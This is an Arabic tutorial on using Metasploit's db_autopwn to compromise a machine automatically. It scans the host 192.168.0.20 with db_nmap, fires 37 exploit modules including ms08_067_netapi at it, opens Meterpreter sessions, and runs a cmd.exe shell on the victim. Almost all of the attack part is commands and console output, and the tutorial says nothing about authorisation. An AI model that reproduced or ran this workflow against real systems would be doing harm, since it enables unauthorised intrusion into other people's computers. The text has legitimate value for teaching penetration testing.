

المدرسة الأمنية
No-exploit.CoM
2010



السلام عليكم ورحمة الله تعالى وبركاته.

مقدمة :

سنتناول في هذا الكتاب شرح كيفية فحص جهاز بمشروع Metasploit الاعتماد على autopwn , او فحص شبكة على حسب ما تريد.

: autopwn

هي خاصية تعتمد على قواعد البيانات من نوع (mysql و sqlite3 و ,,) على حسب الاختيار. وتمكننا من الفحص الأتوماتيكي للجهاز أو الشبكة التي تم تحديدها، وتجريب عليها العديد من الثغرات بشكل ذاتي (أتوماتيكي)، واستغلالها محاولة الاتصال بالجهاز.



```

bash
      888      888      d8b888
      888      888      Y8P888
      888      888      888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888" 88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 888888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
      888
      888
      888

=[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --[ 480 exploits - 220 auxiliary
+ -- --[ 192 payloads - 22 encoders - 8 nops
=[ svn r7957 updated 183 days ago (2009.12.23)

Warning: This copy of the Metasploit Framework was last updated 183 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf >

```

في الاول سنلاحظ عدم وجود العديد من الاوامر الخاصة بقواعد البيانات نكتب الامر التالي من اجل انشاء قاعدة بيانات جديدة.

Db'creat db

```

Database Backend Commands
=====
Command      Description
-----
db_connect   Connect to an existing database
db_create    Create a brand new database
db_destroy   Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver    Specify a database driver

msf > db_create jiko
Creating a new database instance...
Successfully connected to the database
File: jiko
msf >

```

بعدها سنلاحظ زيادة اوامر قواعد البيانات.

```

Database Backend Commands
=====
Command      Description
-----
db_add_host  Add one or more hosts to the database
db_add_note  Add a note to host
db_add_port  Add a port to host
db_autopwn  Automatically exploit everything
db_connect   Connect to an existing database
db_create    Create a brand new database
db_del_host  Delete one or more hosts from the database
db_del_port  Delete one port from the database
db_destroy   Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver    Specify a database driver
db_hosts     List all hosts in the database
db_import_amap_mlog Import a THC-Amap scan results file (-o -m)
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nessus_xml Import a Nessus scan result file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap     Executes nmap and records the output automatically
db_notes     List all notes in the database
db_services  List all services in the database
db_vulns     List all vulnerabilities in the database
db_workspace Switch between database workspaces

msf >

```

نقوم باستعمال الامر التالي من اجل فحص الجهاز المراد وذلك عن طريق تحديده بالايبي وسنستعمل الفحص nmap هنا من اجل فحص البورتات المفتوحة.

Db'nmap @ip

```
msf > db_nmap 192.168.0.20
Starting Nmap 5.21 ( http://nmap.org ) at 2010-06-24 16:12 Paris, Madrid
Nmap scan report for 192.168.0.20
Host is up (0.00069s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:03:FF:2F:5E:CB (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds
msf >
```

بعدها سنستعمل db'autopwn و الذي معه العديد من الخيارات مثل ما في الصورة

```
msf > db_autopwn
(*) Usage: db_autopwn [options]
-h          Display this help text
-t          Show all matching exploit modules
-x          Select modules based on vulnerability references
-p          Select modules based on open ports
-e          Launch exploits against all matched targets
-r          Use a reverse connect shell
-b          Use a bind shell on a random port (default)
-q          Disable exploit module output
-R [rank]   Only run modules with a minimal rank
-I [range]  Only exploit hosts inside this range
-X [range]  Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex]  Only run modules whose name matches the regex

msf > db_autopwn -p -e -b
```

P من الاجل الاعتماد على البورتات المفتوحة و ذلك لاننا استخدمنا nmap في الفحص.
E من اجل تشغيل التغرة.
B من اجل الاتصال.

تم ننتظر الى ان يقوم بتجريب جميع التغرات واستغلالها.

```

msf > db_autopwn -p -e -b
(1/37 [0 sessions]): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.0.20:135...
(2/37 [0 sessions]): Launching exploit/multi/samba/nttrans against 192.168.0.20:139...
(3/37 [0 sessions]): Launching exploit/netware/smb/lsass_cifs against 192.168.0.20:139...
(4/37 [0 sessions]): Launching exploit/osx/samba/lsa_transnames_heap against 192.168.0.20:139...
(5/37 [0 sessions]): Launching exploit/solaris/samba/trans2open against 192.168.0.20:139...
(6/37 [0 sessions]): Launching exploit/windows/brightstor/ca_arcserve_342 against 192.168.0.20:139...
(7/37 [0 sessions]): Launching exploit/windows/brightstor/etrust_itm_alert against 192.168.0.20:139...
(8/37 [0 sessions]): Launching exploit/windows/smb/ms03_049_netapi against 192.168.0.20:139...
(9/37 [0 sessions]): Launching exploit/windows/smb/ms04_011_lsass against 192.168.0.20:139...
(10/37 [0 sessions]): Launching exploit/windows/smb/ms04_031_netdde against 192.168.0.20:139...
(11/37 [0 sessions]): Launching exploit/windows/smb/ms05_039_pnp against 192.168.0.20:139...
(12/37 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.0.20:139...
Job limit reached, waiting on modules to finish...
(13/37 [0 sessions]): Launching exploit/windows/smb/ms06_066_rwapi against 192.168.0.20:139...
(14/37 [0 sessions]): Launching exploit/windows/smb/ms06_066_rwwks against 192.168.0.20:139...
(15/37 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.0.20:139...
(16/37 [0 sessions]): Launching exploit/windows/smb/msdns_zonename against 192.168.0.20:139...
Job limit reached, waiting on modules to finish...
(17/37 [0 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.0.20:139...
Job limit reached, waiting on modules to finish...
(18/37 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.0.20:139...
Job limit reached, waiting on modules to finish...
(19/37 [0 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.0.20:139...

(20/37 [0 sessions]): Launching exploit/multi/samba/nttrans against 192.168.0.20:445...
(21/37 [0 sessions]): Launching exploit/netware/smb/lsass_cifs against 192.168.0.20:445...
(22/37 [0 sessions]): Launching exploit/osx/samba/lsa_transnames_heap against 192.168.0.20:445...
(23/37 [0 sessions]): Launching exploit/solaris/samba/trans2open against 192.168.0.20:445...
(24/37 [0 sessions]): Launching exploit/windows/brightstor/ca_arcserve_342 against 192.168.0.20:445...
(25/37 [0 sessions]): Launching exploit/windows/brightstor/etrust_itm_alert against 192.168.0.20:445...
(26/37 [0 sessions]): Launching exploit/windows/smb/ms03_049_netapi against 192.168.0.20:445...
Meterpreter session 1 opened (192.168.0.4:3192 -> 192.168.0.20:34847)
(27/37 [1 sessions]): Launching exploit/windows/smb/ms04_011_lsass against 192.168.0.20:445...
(28/37 [1 sessions]): Launching exploit/windows/smb/ms04_031_netdde against 192.168.0.20:445...
(29/37 [1 sessions]): Launching exploit/windows/smb/ms05_039_pnp against 192.168.0.20:445...
Job limit reached, waiting on modules to finish...
(30/37 [1 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.0.20:445...
(31/37 [1 sessions]): Launching exploit/windows/smb/ms06_066_rwapi against 192.168.0.20:445...
(32/37 [1 sessions]): Launching exploit/windows/smb/ms06_066_rwwks against 192.168.0.20:445...
(33/37 [1 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.0.20:445...
Job limit reached, waiting on modules to finish...
(34/37 [1 sessions]): Launching exploit/windows/smb/msdns_zonename against 192.168.0.20:445...
Job limit reached, waiting on modules to finish...
(35/37 [1 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.0.20:445...
(36/37 [1 sessions]): Launching exploit/windows/smb/psexec against 192.168.0.20:445...
Job limit reached, waiting on modules to finish...
(37/37 [1 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.0.20:445...

(37/37 [1 sessions]): Waiting on 3 launched modules to finish execution...
Meterpreter session 2 opened (192.168.0.4:3242 -> 192.168.0.20:14482)

msf >

```

```

msf > sessions

Active sessions
=====

  Id  Description  Tunnel
  --  -
  1   Meterpreter  192.168.0.4:3192 -> 192.168.0.20:34847
  2   Meterpreter  192.168.0.4:3242 -> 192.168.0.20:14482

msf >

```

بعد الانتهاء
نضع الامر

Sessions

للاطلاع على session التي فتحت من اجل الاتصال وتعريفها بالترتيب من اجل الاتصال

```

msf > sessions 1

Active sessions
=====

  Id  Description  Tunnel
  --  -
  1   Meterpreter  192.168.0.4:3192 -> 192.168.0.20:34847
  2   Meterpreter  192.168.0.4:3242 -> 192.168.0.20:14482

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
C:\WINDOWS\system32
meterpreter >

```


من اجل الاتصال نستخدم الامر التالي, و id الجلسة من اجل الاتصال

Sessions -i -id

```
msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > execute cmd.exe -i
[-] You must specify an executable file with -f
meterpreter >
meterpreter > execute -f cmd.exe -i
Process 1024 created.
Channel 1 created.
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

يمكنك تطبيق الاوامر او استعمال امر لتطبيق الاوامر مباشرة في msdos كانك على الجهاز

Execute -f cmd.exe -i

```
C:\WINDOWS\system32>CD C:\
CD C:\

C:\>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le num,ro de s,rie du volume est 38E5-EA1C

R,pertoire de C:\

06/02/2010  16:26                0 AUTOEXEC.BAT
06/02/2010  16:26                0 CONFIG.SYS
06/02/2010  17:16             <REP>      Documents and Settings
18/04/2010  02:45                7 ja.txt
18/04/2010  02:51             <REP>      jawad
06/02/2010  17:17             <REP>      Program Files
18/04/2010  02:28             <REP>      SYSTEM.SAV
02/03/2010  15:54             <REP>      WINDOWS
                3 fichier(s)                7 octets
                5 R,p(s)        3y676y905y472 octets libres
```

للخروج نستعمل الامر exit

```
meterpreter > exit

[*] Meterpreter session 1 closed.
msf > sessions

Active sessions
=====
  Id  Description  Tunnel
  --  -
  2   Meterpreter  192.168.0.4:3242 -> 192.168.0.20:14482

msf > █
```

ويمكن الاتصال من الجلسة الثانية.

